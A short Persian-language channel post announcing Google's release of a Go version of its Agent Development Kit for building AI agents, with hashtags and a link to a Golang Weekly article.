** گوگل نسخه Go از Agent Development Kit (ADK) را عرضه کرده است؛ کیتی که پیش‌تر برای Python و Java در دسترس بود و برای ساخت و استقرار عامل‌های هوش مصنوعی به‌کار می‌رود. ADK با حذف بخش بزرگی از کدنویسی تکراری در ارکستراسیون و ترکیب گردش‌کار عامل‌ها، توسعه را ساده می‌کند. این چارچوب هم از نظر مدل (model-agnostic) و هم از نظر استقرار (deployment-agnostic) مستقل است، بنابراین می‌توان آن را با LLMهای مختلف و در محیط‌های ابری، داخلی یا لبه اجرا کرد. همچنین با فریم‌ورک‌های دیگر سازگار است و امکان پذیرش تدریجی در کنار پشته‌های موجود را می‌دهد. برای تیم‌های Go، این پشتیبانی یک مسیر سازگار و منعطف برای ساخت عامل‌ها فراهم می‌کند، بدون قفل‌شدن به مدل یا زیرساخت خاص.

#Google #ADK #Go #AI #Agents #Python #Java #DeveloperTools

🟣لینک مقاله:
https://golangweekly.com/link/176899/web


👑 @gopher_academy